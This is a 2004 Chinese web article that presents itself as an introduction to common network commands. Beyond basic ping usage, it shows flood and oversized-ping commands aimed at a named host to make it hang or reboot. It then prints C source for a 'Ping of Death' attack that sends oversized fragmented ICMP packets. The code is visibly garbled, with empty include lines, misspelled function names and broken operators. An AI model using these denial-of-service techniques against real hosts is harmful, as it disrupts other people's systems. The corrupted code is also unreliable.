几个常用网络相关命令(一) |
|
| 2004-05-24 重庆金桥 |
| |
1.PING命令的基本格式
(1)Ping hostname
其中,hostname是目标计算机的地址。Ping还有许多高级使用,下面就是一个例子。
C:> Ping–f hostname
这条命令给目标机器发送大量的数据,从而使目标计算机忙于回应。在Windows 95的计算机上,使用下面的方法:
C:>windowsping -l 65510 saddam-hussein’s.computer.mil
这样做了之后,目标计算机有可能会挂起来,或重新启动。由于–l 65510产生一个巨大的数据包,要求返回一个同样的数据包,因此会使目标计算机反应不过来。
在Linux计算机上,可能编写一个程序来实现上述方法。
#include
#include
#include
#include
#include
#include
#include
#include
/ *
* If your kernel doesn’t muck with raw packets , # define REALLYRAW.
* This is probably only Linux.
* /
# ifdef TEALLY-RAW
# define FIX(x) htons(x)
# else
# define FIX(x) (x)
# endif
int
main(int argc , char * * argv)
{
int s;
char buf[1500];
struct ip * ip = (struct ip *)buf;
struct icmp * icmp = (struct icmp *)(ip + 1);
struct hostent * hp;
struct sockaddr-in dst;
int offset;
int on = 1;
bzero(buf, sizeof buf);
if((s = socet(AF-INET , SOCK-RAW , IPPROTO-IP)) < 0){
perror(“socket”);
exit(1);
}
if (setsocopt (s ,IPPROTO–IP, IP–HDRINCL , & on , sizeof(on)) < 0){
perror(“IP-HDRINCL”);
exit(1);
}
if (argc ! = 2){
fprintf(stderr ,“usage : %s hostname n”, argv[0]);
exit(1);
}
if ((hp = gethostbyname(argv[1])) = = NULL){
if((ip -> ip - dst.s – addr = inet - addr(argv[1])) = = -1){
fprintf(stderr ,“%s : unknown host n”, argv[1]);
}
}else{
bcopy(hp -> h–addr - list[0] , &ip -> ip - dst.s–addr, hp -> hlength);
}
printf(“Sending to %s n”, inet - ntoa(ip -> ip - dst));
ip -> ip–v = 4;
ip -> ip–hl = sizeof * ip > > 2;
ip -> ip–tos = 0;
ip -> ip–len = FIX(sizeof buf);
ip -> ip–id = htons(4321);
ip -> ip–off = FIX(0);
ip -> ip–ttl = 255;
ip -> ip–p = 1;
ip -> ip–sum = 0;/ * kernel fills in * /
dst.sin–addr = ip -> ip–dst;
dst.sin–family = AF–INET;
icmp -> icmp–type = ICMP-ECHO;
icmp -> icmp–code = 0;
icmp -> icmp–cksum = htons((ICMP–ECHO < < 8));
/ * the checksum of all 0’s is easy to compute * /
for(offset = 0; offset < 65536;offset + = (sizeof buf–sizeof * ip)){
ip -> ip–off = FIX(offset > > 3);
if(offset < 65120)
ip ->ip–off | FIX(IP–MF);
else
ip -> ip - len | = FIX(418);/ * make total 65538 * /
if (sendto(s, buf, sizeof buf, 0 ,(struct sockadr *) & dst, sizeof dst) < 0){
fprintf(stderr,“offset %d : ”,offset);
perror(“sendto”);
}
if (offset = = 0){
icmp -> icmp–type = 0;
icmp -> icmp–code = 0;
icmp -> icmp–cksum = 0;
}
}
}
|
|
| |
|
发表评论
推荐文章
关闭窗口
|
|
|
|